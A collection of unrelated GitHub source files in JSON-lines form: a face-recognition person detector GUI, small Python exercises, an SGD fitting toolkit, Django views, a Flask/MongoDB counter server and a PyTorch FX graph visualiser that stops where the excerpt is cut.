pred_bbox, FLAGS.info, allowed_classes=allowed_classes, read_plate=FLAGS.plate)\n\n\n if FLAGS.person:\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n facesCurFrame = face_recognition.face_locations(frame)\n encodesCurFrame = face_recognition.face_encodings(frame,facesCurFrame)\n\n person_path = os.path.join(os.getcwd(), 'detections', 'person_' + yy)\n isdir = os.path.isdir(person_path)\n if not isdir:\n os.mkdir(person_path)\n\n for encodeFace,faceLoc in zip(encodesCurFrame,facesCurFrame):\n matches = face_recognition.compare_faces(encodeListKnown,encodeFace)\n faceDis = face_recognition.face_distance(encodeListKnown,encodeFace)\n # print(faceDis)\n matchIndex = np.argmin(faceDis)\n\n if matches[matchIndex]:\n name = classNames[matchIndex].upper()\n print(name,'is present in the video.\\n')\n\n final_path = os.path.join(person_path, 'frame_' + str(frame_num) + '_' + name)\n\n y1,x2,y2,x1 = faceLoc\n # y1, x2, y2, x1 = y1*4,x2*4,y2*4,x1*4\n cv2.rectangle(frame,(x1,y1),(x2,y2),(0,255,0),1)\n cv2.rectangle(frame,(x1-30,y2+20),(x2+30,y2),(0,255,0),cv2.FILLED)\n cv2.putText(frame, name, (x1-28,y2+18), cv2.FONT_HERSHEY_COMPLEX,0.7,(255,255,255),2)\n\n cv2.imwrite(final_path + '.jpg', frame)\n\n\n fps = 1.0 / (time.time() - start_time)\n # print(\"FPS: %.2f\" % fps)\n result = np.asarray(image)\n cv2.namedWindow(\"result\", cv2.WINDOW_AUTOSIZE)\n result = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n \n if not FLAGS.dont_show:\n cv2.imshow(\"result\", result)\n \n if FLAGS.output:\n out.write(result)\n\n if cv2.waitKey(1) & 0xFF == ord('q'): break\n\n\n # dataset = tk.Label(root_v, text=\"Display Images in Database\", font=('calibre',12,'bold'))\n # dataset.place(x=140, y=300)\n \n # s_file1 = './People/' + path0 + '.jpg'\n # img1 = Image.open(s_file1)\n # img1 = img1.resize((80, 80), Image.ANTIALIAS)\n # img1 = ImageTk.PhotoImage(img1)\n # panel1 = tk.Label(root_v, image=img1)\n # panel1.place(x=20, y=340)\n\n # d_result = tk.Label(root_v, text=\"Detection Result\", font=('calibre',13,'bold'))\n # d_result.place(x=20, y=450)\n\n\n d_result = tk.Label(root_v, text=\"Detection Result\", font=('calibre',13,'bold'))\n d_result.place(x=20, y=370)\n\n if person_count != 0:\n print('\\n\\n--- Result: Positive! ', name, 'is present in the video. ---\\n')\n\n got_frames = \"./detections/person_\" + yy + \"/\"\n\n print('The captured frames are:')\n for f in os.listdir(got_frames):\n fr_name = f.split('.')[0]\n print(fr_name)\n print()\n\n valid_result = tk.Label(root_v, text=\"Result: Positive! \" + name + \" is present in the video!!\", font=('calibre',11,'bold'), bg='green')\n valid_result.place(x=20, y=420)\n messagebox.showinfo(\"Success: Person Detected!\",\n \"Target person is present in the video!!\")\n valid_result.destroy()\n\n else:\n print('\\n\\n--- Result: Negative! ', name, 'is not present in the video. ---\\n\\n')\n\n fail_result = tk.Label(root_v, text=\"Result: Negative! \" + name + \" is not present in the video!!\", font=('calibre',11,'bold'), bg='red')\n fail_result.place(x=20, y=420)\n messagebox.showerror(\"Failure: Person Not Detected.\",\n \"Target person is not present in the video!!\")\n fail_result.destroy()\n\n cv2.destroyAllWindows()\n\n pending.destroy()\n d_result.destroy()\n\n\n if __name__ == '__main__':\n try:\n app.run(main)\n except SystemExit:\n pass\n\n\n return True\n\n\n def gui_destroy():\n root_v.destroy()\n\n\n\n self.uname_label = tk.Label(root_v, text=\"In-video Person Detection\", font=('calibre',14,'bold'), bg='medium aquamarine')\n self.uname_label.place(x=140, y=25)\n\n # creating a label for name using widget Label\n self.name_label = tk.Label(root_v, text = 'Username:', font=('calibre',10,'bold'))\n self.name_label.place(x=60, y=90)\n\n # creating an entry for input name using widget Entry\n self.name_entry = tk.Entry(root_v, bd=3, font=('calibre',10,'normal'))\n self.name_entry.place(x=170, y=90)\n\n # creating a button using the widget button that will check the available data\n self.sub_btn = tk.Button(root_v, text = 'Check Data', font=('calibre',10,'normal'), command = check_data)\n self.sub_btn.place(x=340, y=85)\n\n\n # Upload\n self.img_message = tk.Label(root_v, text=\"Input Video:\", font=('calibre',10,'bold'))\n self.img_message.place(x=60, y=140)\n # Image Submit\n self.image_path_entry1 = tk.Entry(root_v, bd=3, font=('calibre',10,'normal'))\n self.image_path_entry1.place(x=170, y=140)\n # Browse Button\n self.img_browse_button = tk.Button(\n root_v, text=\"Browse\", font=('calibre',10,'normal'), command=lambda: browsefunc(ent=self.image_path_entry1))\n self.img_browse_button.place(x=340, y=135)\n\n\n\n # Verify Button\n self.verify_button = tk.Button(\n root_v, text=\"Verify\", font=('calibre',12,'bold'), bg='gold2', command=lambda: checkSimilarity(window=root_v, path0=self.name_entry.get(), path1=self.image_path_entry1.get(),), width=8)\n self.verify_button.place(x=198, y=190)\n\n\n # Exit Button\n self.go_exit = tk.Button(\n root_v, text=\"Exit\", bg='tomato', font=('calibre',12,'bold'), command=lambda: gui_destroy(), width=5)\n self.go_exit.place(x=215, y=240)\n\n\n # performing an infinite loop for the window to display\n root_v.mainloop()\n\n\n\nroot = tk.Tk()\nroot.configure(bg='wheat1')\nroot.geometry(\"500x300+50+50\")\n\napp_g = Application(master=root)\napp_g.master.title(\"Person Detection & Identification System\")\napp_g.mainloop()\n","repo_name":"MZayed47/Specific-Person-Detector","sub_path":"detector_gui.py","file_name":"detector_gui.py","file_ext":"py","file_size_in_byte":31571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"40161538009","text":"#Rock, Paper, Scissors- Compare User Choice and Computer Choice with one another and show user results\n#When I put it in the base component the 'xxx' end game would not work\n\nrps_list = [\"rock\", \"paper\", \"scissors\"]\ncomputer_index = 0\nfor item in rps_list:\n user_index = 0\n for item in rps_list:\n user_choice = rps_list[user_index]\n computer_choice = rps_list[computer_index]\n user_index += 1\n\n #Compare options\n\n if user_choice == \"rock\":\n\n if computer_choice == \"rock\":\n result = \"It is a draw\"\n\n elif computer_choice == \"paper\":\n result = \"You lost\"\n\n else:\n result = \"You Won\"\n\n elif user_choice == \"paper\":\n\n if computer_choice == \"rock\":\n result = \"You Won\"\n\n elif computer_choice == \"paper\":\n result = \"It is a draw\"\n\n else:\n result = \"You lost (Better luck next time)\"\n\n else:\n\n if computer_choice == \"rock\":\n result = \"You lost (Better luck next time)\"\n\n elif computer_choice == \"paper\":\n result = \"You Won\"\n\n else:\n result = \"It is a draw\"\n\n\n print(\"You chose {} the computer chose {}. \\nResult: {}. \".format(user_choice, computer_choice, result))\n\n\n computer_index += 1\n print()\n\n","repo_name":"KarlYapBuller/02-Rock-Paper-Scissors-game-Ncea-Level-1-Programming","sub_path":"06_RPS_User_Computer_Choice_Compare_v1.py","file_name":"06_RPS_User_Computer_Choice_Compare_v1.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"74077860427","text":"from requests import Response\n\n\nclass LexofficeException(Exception):\n msg: str\n\n def __init__(self, response: Response, message: str):\n super().__init__(message)\n status_code = response.status_code\n body = response.json()\n self.msg = f\"status={status_code}, msg={body['message']}\"\n print(self.msg)\n\n def msg(self):\n return self.msg","repo_name":"maikerlab/lexoffice_api","sub_path":"src/lexoffice/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"36566985248","text":"\"\"\"Contains the tools needed to get weights for the model\nusing the L-BFGS optimization algorithm.\"\"\"\nimport numpy as np\ntry:\n import cupy as cp\nexcept:\n pass\n\nclass sgdModelFit:\n \"\"\"This class contains all the tools needed to fit a model\n whose hyperparameters have already been tuned using implicit\n SGD. This will be slower than preconditioned CG if the\n preconditioner is good (low ratio), but can outperform\n preconditioned CG with a high-ratio preconditioner.\n\n Attributes:\n lambda_ (float): The noise hyperparameter shared across all kernels.\n verbose (bool): If True, print regular updates.\n device_ (str): One of 'cpu', 'gpu'. Indicates where calculations\n will be performed.\n n_epoch (int): The number of epochs.\n n_iter (int): The number of datapoints traversed in current epoch.\n \"\"\"\n\n def __init__(self, lambda_, device, verbose):\n \"\"\"Class constructor.\n\n Args:\n lambda_ (float): The noise hyperparameter shared across all kernels.\n device (str): One of 'cpu', 'gpu'. Indicates where calculations\n will be performed.\n verbose (bool): If True, print regular updates.\n \"\"\"\n self.lambda_ = lambda_\n self.verbose = verbose\n self.device = device\n self.n_iter = 0\n self.n_epoch = 0\n self.n_iter = 0\n self.mbatch_size = 250\n if self.device == \"cpu\":\n self.empty = np.empty\n self.zeros = np.zeros\n else:\n self.empty = cp.empty\n self.zeros = cp.zeros\n\n\n def fit_model(self, dataset, kernel, tol = 1e-6, max_epochs = 40,\n preconditioner = None, manual_lr = None):\n \"\"\"Finds an optimal set of weights using the information already\n provided to the class constructor.\n\n Args:\n dataset: An OnlineDataset or OfflineDatset containing all the\n training data.\n kernel: A kernel object that can generate random features for\n the Dataset.\n tol (float): The threshold for convergence.\n max_epochs (int): The number of epochs. Used to set the learning\n rate schedule.\n random_state (int): A seed for the random number generator.\n manual_lr (float): Either None or a float. If not None, this\n is a user-specified initial learning rate. If None, find\n a good initial learning rate using autotuning.\n mbatch_lr_check (int): The number of minibatches after which\n to check that the loss is not diverging (and reset the\n learning rate if it is).\n\n Returns:\n wvec: A cupy or numpy array depending on device that contains the\n best set of weights found. A 1d array of length self.kernel.get_num_rffs().\n \"\"\"\n losses = []\n\n #Key sgd hyperparameters.\n likely_lr = [3**i * 1e-9 for i in range(25)]\n if self.device == \"cpu\":\n likely_lr = np.asarray(likely_lr)\n else:\n likely_lr = cp.asarray(likely_lr)\n\n\n full_grad, wvec, z_trans_y, zty_norm = self.initialize(dataset, kernel)\n\n current_grad, last_wvec = full_grad.copy(), wvec.copy()\n sg_last_grad, sg_current_grad = self.zeros((kernel.get_num_rffs())), \\\n self.zeros((kernel.get_num_rffs()))\n if manual_lr is not None:\n step_size = manual_lr\n else:\n step_size = self.autotune(dataset, kernel, full_grad, wvec,\n last_wvec, preconditioner, z_trans_y, likely_lr)\n\n\n for self.n_epoch in range(max_epochs):\n end_epoch = False\n while not end_epoch:\n xbatch, _, end_epoch = dataset.get_next_minibatch(self.mbatch_size)\n if not dataset.pretransformed:\n xbatch = kernel.transform_x(xbatch)\n sg_current_grad[:] = xbatch.T @ (xbatch @ wvec) + self.lambda_**2 * wvec\n sg_last_grad[:] = xbatch.T @ (xbatch @ last_wvec) + self.lambda_**2 * last_wvec\n\n current_grad[:] = full_grad + (sg_current_grad - sg_last_grad)\n if preconditioner is not None:\n wvec -= step_size * preconditioner.batch_matvec(current_grad[:,None])[:,0]\n else:\n wvec -= step_size * current_grad / dataset.get_ndatapoints()\n\n\n dataset.reset_index()\n self.update_full_gradient(dataset, kernel, full_grad,\n wvec, z_trans_y)\n last_wvec[:] = wvec\n current_grad[:] = full_grad\n loss = full_grad / zty_norm\n loss = np.sqrt(float( loss.T @ loss ) )\n losses.append(loss)\n if len(losses) > 2:\n if losses[-1] - losses[-2] > 0:\n print(\"Reducing learning rate by 50%\")\n step_size *= 0.5\n\n if losses[-1] < tol:\n break\n\n if self.verbose and self.n_epoch % 1 == 0:\n print(f\"Epoch {self.n_epoch} complete; loss {losses[-1]}\")\n #The number of epochs is 2 x self.n_epoch because we perform\n #a gradient \"snapshot\" for each actual epoch.\n return wvec.copy(), 2 * self.n_epoch + 1, losses\n\n\n\n def initialize(self, dataset, kernel):\n full_grad = self.zeros((kernel.get_num_rffs()))\n wvec = self.zeros((kernel.get_num_rffs()))\n z_trans_y = self.zeros((kernel.get_num_rffs()))\n zty_norm = 0.0\n\n for xdata, ydata in dataset.get_chunked_data():\n if not dataset.pretransformed:\n xdata = kernel.transform_x(xdata)\n z_trans_y += xdata.T @ ydata\n\n zty_norm = np.sqrt(float(z_trans_y.T @ z_trans_y))\n full_grad[:] = -z_trans_y\n return full_grad, wvec, z_trans_y, zty_norm\n\n\n def update_full_gradient(self, dataset, kernel, full_grad, wvec,\n z_trans_y):\n full_grad[:] = -z_trans_y + self.lambda_**2 * wvec\n for xdata in dataset.get_chunked_x_data():\n if not dataset.pretransformed:\n xdata = kernel.transform_x(xdata)\n full_grad += xdata.T @ (xdata @ wvec)\n\n\n def autotune(self, dataset, kernel, full_grad, wvec,\n last_wvec, precond, z_trans_y, likely_lr):\n \"\"\"Uses a simple heuristic to tune the learning rate over the first 10\n minibatches in an arbitrarily designated epoch. Maybe not the best\n possible way to do this, but seems to work...\"\"\"\n wvec_batch = self.empty((kernel.get_num_rffs(), likely_lr.shape[0]))\n last_wvec_batch = self.empty((kernel.get_num_rffs(), likely_lr.shape[0]))\n gradient_batch = self.empty((kernel.get_num_rffs(), likely_lr.shape[0]))\n losses = self.zeros((kernel.get_num_rffs(), likely_lr.shape[0]))\n wvec_batch[:] = wvec[:,None]\n last_wvec_batch[:] = last_wvec[:,None]\n\n #Recall that we check under \"fit\" that the dataset has at least\n #10 minibatches...Using more might lead to more accurate tuning\n #but would make tuning more expensive...it's a tradeoff.\n end_epoch = False\n while not end_epoch:\n gradient_batch[:] = full_grad[:,None]\n xbatch, _, end_epoch = dataset.get_next_minibatch(self.mbatch_size)\n if not dataset.pretransformed:\n xbatch = kernel.transform_x(xbatch)\n gradient_batch += xbatch.T @ (xbatch @ wvec_batch)\n gradient_batch -= xbatch.T @ (xbatch @ last_wvec_batch)\n gradient_batch += kernel.get_lambda()**2 * (wvec_batch - last_wvec_batch)\n\n if precond is not None:\n wvec_batch -= likely_lr * precond.batch_matvec(gradient_batch)\n else:\n wvec_batch -= likely_lr[None,:] * gradient_batch / dataset.get_ndatapoints()\n\n dataset.reset_index()\n\n losses[:] = -z_trans_y[:,None] + self.lambda_**2 * wvec_batch\n for xbatch in dataset.get_chunked_x_data():\n if not dataset.pretransformed:\n xbatch = kernel.transform_x(xbatch)\n losses += xbatch.T @ (xbatch @ wvec_batch)\n\n\n losses[np.isnan(losses)] = np.inf\n losses = (losses**2).sum(axis=0)\n best_idx = int(losses.argmin())\n return likely_lr[best_idx]\n","repo_name":"jlparkI/xGPR","sub_path":"xGPR/fitting_toolkit/sgd_fitting_toolkit.py","file_name":"sgd_fitting_toolkit.py","file_ext":"py","file_size_in_byte":8382,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"}
+{"seq_id":"4814410858","text":"import datetime\nimport json\nimport time\n\nfrom django.http import HttpResponseNotFound\nfrom django.shortcuts import render\n\nfrom establishment.funnel.base_views import JSONErrorResponse, JSONResponse, global_renderer, single_page_app\nfrom establishment.funnel.utils import GlobalObjectCache\n\n\ndef render_ui_widget(request, widget_class, state=None, page_title=None, widget_require=None, widget_options={}):\n context = {}\n if state:\n context[\"state\"] = state.dumps()\n else:\n context[\"state\"] = \"{}\"\n\n if widget_class == \"MessagesPanel\":\n widget_class = \"DocFlowApp\"\n widget_require = \"Bundle\"\n\n # TODO: DEFAULT_PAGE_TITLE should be an option in settings\n context[\"page_title\"] = page_title or \"CS Academy\"\n context[\"widget_class\"] = widget_class\n context[\"widget_require\"] = widget_require or widget_class\n context[\"widget_options\"] = json.dumps(widget_options)\n\n return render(request, \"docmanager/base.html\", context)\n\n\ndef render_csa_app(request):\n return render_ui_widget(request, \"CSAApp\", state={}, widget_require=\"Bundle\")\n\n\n@single_page_app\ndef generic_error_response(request, title, message):\n return JSONResponse({\"title\": title, \"message\": message})\n\n\nglobal_renderer.render_ui_widget = render_ui_widget\nglobal_renderer.render_single_page_app = render_csa_app\nglobal_renderer.render_error_message = generic_error_response\n\n\n@single_page_app\ndef index(request):\n return render(request, \"docsmanager/base.html\", {})\n\n if not request.is_ajax():\n return render_ui_widget(request, \"CSAApp\", state={}, widget_require=\"Bundle\")\n\n # This should be shared with the blog\n state = GlobalObjectCache(user=request.user)\n\n blog_posts = BlogEntry.objects.filter(visible=True).prefetch_related(\"article\")\n blog_posts = blog_posts.order_by(\"-id\")[:5]\n\n for blog_post in blog_posts:\n state.add(blog_post)\n article = blog_post.article\n state.add(article)\n\n top_users = CSAUser.objects.all().order_by(\"global_rating_rank\")[:10]\n\n for user in top_users:\n state.add(PublicUserSummary(user))\n\n upcoming_contests = Contest.objects.filter(end_date__gt=datetime.datetime.now(), is_visible=True)\n state.add_all(upcoming_contests)\n contest_users = ContestUser.objects.filter(contest__in=upcoming_contests.filter(system_generated=True))\n state.add_all(contest_users)\n\n return JSONResponse({\"state\": state})\n\n\ndef about(request):\n return render_csa_app(request)\n\n\ndef policy(request):\n return render(request, \"docmanader/policy.html\", {})\n\n\ndef maintenance_mode(request):\n if request.is_ajax():\n return JSONErrorResponse(\"Website in maintenance mode!\")\n return render(request, \"docmanader/maintenance.html\", {})\n\n\ndef admin_chat(request):\n if not request.user.is_superuser:\n return HttpResponseNotFound()\n\n widget_options = {\n \"chatId\": 1,\n \"style\": {\n \"padding-left\": \"12%\",\n \"padding-right\": \"12%\",\n }\n }\n\n return render_ui_widget(request, \"DelayedChat\", widget_require=\"IndexAuthenticated\", widget_options=widget_options)\n\n\ndef server_time(request):\n return JSONResponse({\"time\": time.time()})\n\n","repo_name":"TechGovRo/DocumentFlow","sub_path":"docmanager/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"42487710217","text":"import sys\n\n\ndef add_sys(arg_list):\n integer_list = [int(x) for x in arg_list]\n return sum(integer_list)\n\n\nif __name__ == \"__main__\":\n args = sys.argv\n result = add_sys(args[1:])\n print(\"addition is\", result)\n","repo_name":"devika-aigalikar/first-git-project","sub_path":"accept_cmd.py","file_name":"accept_cmd.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"1046917825","text":"from plagiarism import plagiarism_check_minhash_permutations, plagiarism_check_minhash\nfrom shingling import shingle_files\nimport argparse\nimport time\n\ndef main():\n\n parser = argparse.ArgumentParser(description='Running MinHash for plagiarism detection')\n parser.add_argument('path_files', metavar='f', type=str,\n help='path to files to check plagiarism')\n parser.add_argument('k_shingle', metavar='k', type=int, help='number of k for shringling')\n parser.add_argument('num_permutations', metavar='n_perm', type=int, help='number of permutations for minhash')\n\n args = parser.parse_args()\n files_path = args.path_files\n k_arg = args.k_shingle\n num_permutations = args.num_permutations\n\n st = time.time()\n shingle_files(files_path, './shingles.pkl', k_arg)\n # plagiarism_check_minhash_permutations('./shingles.pkl', num_permutations)\n plagiarism_check_minhash('./shingles.pkl', num_hash=num_permutations)\n print(\"Done in \",time.time() - st, \" seconds\")\n\nif __name__ == '__main__':\n main()","repo_name":"marichka-dobko/Plagiarism_detection_texts","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"20227341430","text":"'''\nserver.py\n\nSimple Flask server to allow connections with the MongoDB Atlas database.\n\nNOTE: In order for this server to work:\n - The database cluster must have a database named 'counters'\n - The 'counters' databas must have 2 documents:\n One with name: red\n One with name: blue\n Both of them need a count: field with an integer type\n - This file must be run from the same folder as a file 'config.ini' which needs:\n [Database]\n DB_URI = \n\nUSAGE: \n - Run this server somewhere\n - Connect to the server over http\n - Use one of the following requests to interact with the database:\n - /get-red, /get-blue (GET)\n Returns the MongoDB document for the red or blue counter\n - /set-red, /set-blue (PUT)\n Body: { redCount/blueCount: }\n Sets the 'count' field of the red or blue counter document in MongoDB\n - / (GET)\n Returns 'Hello World!' html to verify the Flask server is working\n\nIf you are having trouble connecting to this server when it is hosted on AWS, try seeing if you are\nconnecting to this server with http or https. You may have to connect only with http.\n\n@author Alex Wills\n@author PyMongo tutorial: https://www.mongodb.com/compatibility/setting-up-flask-with-mongodb\n@date April 4, 2023\n'''\nimport configparser # Reading the config file\nimport os\nfrom flask import Flask, current_app, g, request # Creating a flask server\nfrom flask_pymongo import PyMongo # Connecting to MongoDB\nfrom flask_cors import CORS, cross_origin # CORS connections\nfrom werkzeug.local import LocalProxy # Something from MongoDB tutorial\nimport certifi # Creating a network certificate\n\n\n# ------------ Setting up the Flask app ------------ #\n\n# Create a global flask app\napp = Flask(__name__)\nCORS(app)\n\n# Read config.ini\nconfig = configparser.ConfigParser()\nconfig.read(os.path.abspath(os.path.join(\"config.ini\")))\n\n# Configure flask app\napp.config[\"MONGO_URI\"] = config['Database']['DB_URI']\napp.config[\"DEBUG\"] = False\n\n# Create network certificate\ncertificate = certifi.where()\n\n\n# Configure the database (from MongoDB Tutorial: https://www.mongodb.com/compatibility/setting-up-flask-with-mongodb)\ndef get_db():\n \"\"\"\n Configuration method to return db instance\n \"\"\"\n db = getattr(g, \"_database\", None)\n\n if db is None:\n\n db = g._database = PyMongo(current_app, tlsCAFile=certificate).db\n \n return db\n\n# Use LocalProxy to read the global db instance with just `db`\ndb = LocalProxy(get_db)\n\n\n# ------------ Routing requests to the Flask app ------------ #\n\n@app.route(\"/\")\ndef home_page():\n '''\n Returns html for the home page of the server.\n '''\n return \" Hello World!
\"\n\n\n@app.route(\"/get-red\")\n@cross_origin()\ndef get_red_counter():\n '''\n Accesses the red counter from the database.\n @return - the red counter document\n '''\n query = {'name': 'red'} # Query for PyMongo\n counter = db.counters.find_one(query, {\"_id\": False}) # Search with the query, removing the _id field\n return counter # Return the database entry\n\n@app.route(\"/get-blue\")\n@cross_origin()\ndef get_blue_counter():\n '''\n Accesses the blue counter from the database.\n @return - the blue counter document\n '''\n query = {'name': 'blue'} # Query for PyMongo\n counter = db.counters.find_one(query, {\"_id\": False}) # Search with the query, removing the _id field\n return counter # Return the database entry\n\n@app.put(\"/set-red\")\n@cross_origin()\ndef set_red_counter():\n '''\n Updates the red counter value in the database.\n Request should contain a body with a 'redCount' field that has\n the value to set the red counter to.\n '''\n\n # Get the PUT request body and access the 'redCount' field\n body = request.json\n redCount = body['redCount']\n\n # Update 1 document matching the query by setting the value of count\n query = {'name': 'red'}\n db.counters.update_one(query, {'$set': {'count': redCount}})\n\n # Return nothing\n return \"\"\n\n@app.put(\"/set-blue\")\n@cross_origin()\ndef set_blue_counter():\n '''\n Updates the blue counter value in the database.\n Request should contain a body with a 'blueCount' field that has\n the value to set the blue counter to.\n '''\n\n # Get the PUT request body and access the 'blueCount' field\n body = request.json\n blueCount = body['blueCount']\n\n # Update 1 document matching the query by setting the value of count\n query = {'name': 'blue'}\n db.counters.update_one(query, {'$set': {'count': blueCount}})\n\n # Return nothing\n return \"\"\n\n\nif __name__ == \"__main__\":\n app.run()","repo_name":"AlexWills37/Fullstack-Tutorial-Code","sub_path":"backend-flask/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"74252363469","text":"\"\"\"148. Sort List\n\nSort a linked list in O(n log n) time using constant space complexity.\n\nExample 1:\n\nInput: 4->2->1->3\nOutput: 1->2->3->4\n\nExample 2:\n\nInput: -1->5->3->4->0\nOutput: -1->0->3->4->5\n\"\"\"\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def sortList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n # merge-sort\n # See LC 21 merge two lists\n \n # Nothing needs to be done for linked list with <= 1 nodes\n if not head or not head.next:\n return head\n \n # Use turtle-rabbit two pointers to find the mid-point\n turtle = head\n rabbit = head.next\n \n while rabbit.next:\n rabbit = rabbit.next\n turtle = turtle.next\n if rabbit.next:\n rabbit = rabbit.next\n \n # []------> ... ------> []--------->[]----------> ... -------->[]\n # head turtle turtle.next \n # <=========lower========> <===========upper===========> \n # ^\n # mid-point\n \n # step 1:\n # recurisvely sort `upper`:\n #\n # upper: []----------> ... -------->[]---->None\n \n # step 2:\n # disconnect `lower` from `upper`\n #\n # []------> ... ------> []--->None []----------> ... -------->[]\n # head turtle turtle.next \n # <=========lower========> <===========upper===========> \n \n # step 3:\n # recursively sort `lower`:\n #\n # lower: []------> ... ------> []--->None \n \n # step 4:\n # merged the two sorted list `lower` and `upper`\n \n upper = self.sortList(turtle.next) \n turtle.next = None\n lower = self.sortList(head)\n \n merged = self.mergeTwoLists(lower, upper)\n return merged\n \n def mergeTwoLists(self, l1, l2):\n if not l1:\n return l2\n elif not l2:\n return l1\n \n # `dummy.next` points to the start of a merged list (initially empty)\n #\n # `node` points the end of merged list (initially empty)\n \n \n # [] =======> [] =====> ... ====> [] ======> None\n # dummy node\n \n # [] ===> .... ===> [] ===> ... ===>[] ===> None\n # l1\n #\n # [] ===> .... ===> [] ===> ... ===>[] ===> None\n # l2 \n node = dummy = ListNode(0)\n \n while l1 and l2:\n # `l1` and `l2` points to the head of the two linked lists\n # We pick whichever is smaller, and step the corresponding pointer, `l1` or `l2`\n \n if l1.val < l2.val:\n node.next = l1\n l1 = l1.next\n else:\n node.next = l2\n l2 = l2.next\n \n # We always step `node` \n node = node.next\n \n if l1:\n node.next = l1\n if l2:\n node.next = l2\n \n return dummy.next \n","repo_name":"chao-ji/LeetCode","sub_path":"python/linked_list/lc148.py","file_name":"lc148.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"42470768684","text":"from statsmodels.tsa.seasonal import seasonal_decompose\n\n\ndef seasonal_decomp(df,column,model=\"additive\"):\n sea_decomp_df = df.copy(deep=True)\n sea_decomp_df.index=sea_decomp_df.index.to_timestamp()\n\n s_dec_add = seasonal_decompose(sea_decomp_df[f'{column}'],model=model, period=1).plot()\n s_dec_add.set_size_inches(20, 8)\n return s_dec_add","repo_name":"obaidagh/crypto-analysis-forcasting","sub_path":"analysis/seasonal_decomp.py","file_name":"seasonal_decomp.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"17153360160","text":"import traceback\nfrom typing import Any, NamedTuple, Optional\n\nimport graphviz\nimport torch\nimport torch.fx\n\n\nclass TensorMetadata(NamedTuple):\n # TensorMetadata is a structure containing pertinent information\n # about a tensor within a PyTorch program.\n\n # General Tensor metadata\n shape: torch.Size\n dtype: torch.dtype\n requires_grad: bool\n memory_format: Optional[torch.memory_format]\n\n def __repr__(self):\n return \"×\".join(map(str, self.shape))\n\n\ndef _extract_tensor_metadata(result: torch.Tensor) -> TensorMetadata:\n \"\"\"\n Extract a TensorMetadata NamedTuple describing `result`.\n \"\"\"\n shape = result.shape\n dtype = result.dtype\n requires_grad = result.requires_grad\n\n memory_formats = {\n torch.contiguous_format,\n torch.channels_last,\n torch.channels_last_3d,\n }\n\n memory_format = None\n\n for query_format in memory_formats:\n if result.is_contiguous(memory_format=query_format):\n memory_format = query_format\n break\n\n return TensorMetadata(shape, dtype, requires_grad, memory_format)\n\n\nclass ResultProbe(torch.fx.Interpreter):\n def run_node(self, n: torch.fx.Node) -> Any:\n try:\n result = super().run_node(n)\n except Exception:\n traceback.print_exc()\n raise RuntimeError(\n f\"ShapeProp error for: \"\n f\"node={n.format_node()} with \"\n f\"meta={n.meta}\"\n )\n find_tensor_in_result = False\n\n def extract_tensor_meta(obj):\n if isinstance(obj, torch.Tensor):\n nonlocal find_tensor_in_result\n find_tensor_in_result = True\n return _extract_tensor_metadata(obj)\n else:\n return obj\n\n n.meta[\"result\"] = torch.fx.node.map_aggregate(result, extract_tensor_meta)\n n.meta[\"find_tensor_in_result\"] = find_tensor_in_result\n return result\n\n\ndef html_table(*content, **kwargs):\n kwargs_pairs = [f'{k}=\"{v}\"' for k, v in kwargs.items()]\n return f'' + \"\\n\".join(content) + \"
\"\n\n\ndef html_tr(*content, **kwargs):\n kwargs_pairs = [f'{k}=\"{v}\"' for k, v in kwargs.items()]\n return f'' + \"\\n\".join(content) + \"
\"\n\n\ndef html_td(content, **kwargs):\n kwargs_pairs = [f'{k}=\"{v}\"' for k, v in kwargs.items()]\n return f'' + str(content) + \" | \"\n\n\ndef node_label_html(model, node):\n name = node._pretty_print_target(node.target)\n result = node.meta[\"result\"]\n\n cols = [[html_td(result)]]\n\n if node.op == \"call_module\":\n module = model.get_submodule(node.target)\n head = str(module)\n cols[0] = [html_td(name, rowspan=len(cols)), *cols[0]]\n elif node.op == \"call_method\":\n head = f\".{name}()\"\n elif node.op == \"get_attr\":\n head = f\".{name}\"\n elif node.op == \"call_function\":\n head = f\"{name}()\"\n else:\n head = name\n\n head_kwargs = dict(colspan=len(cols[0]))\n if not node.meta[\"find_tensor_in_result\"]:\n head_kwargs[\"bgcolor\"] = \"lightgray\"\n\n html = html_table(\n html_tr(html_td(head, **head_kwargs)),\n *[html_tr(*c) for c in cols],\n border=0,\n cellborder=1,\n cellspacing=0,\n )\n return f\"<{html}>\"\n\n\ndef single_node(model: torch.nn.Module, graph: graphviz.Digraph, node: torch.fx.Node):\n node_label = node_label_html(model, node)\n node_kwargs = dict(shape=\"plaintext\")\n graph.node(node.name, node_label, **node_kwargs)\n for in_node in node.all_input_nodes:\n edge_kwargs = dict()\n if (\n not node.meta[\"find_tensor_in_result\"]\n or not in_node.meta[\"find_tensor_in_result\"]\n ):\n edge_kwargs.update(dict(style=\"dashed\", color=\"lightgrey\"))\n graph.edge(in_node.name, node.name, **edge_kwargs)\n\n\ndef model_graph(model: 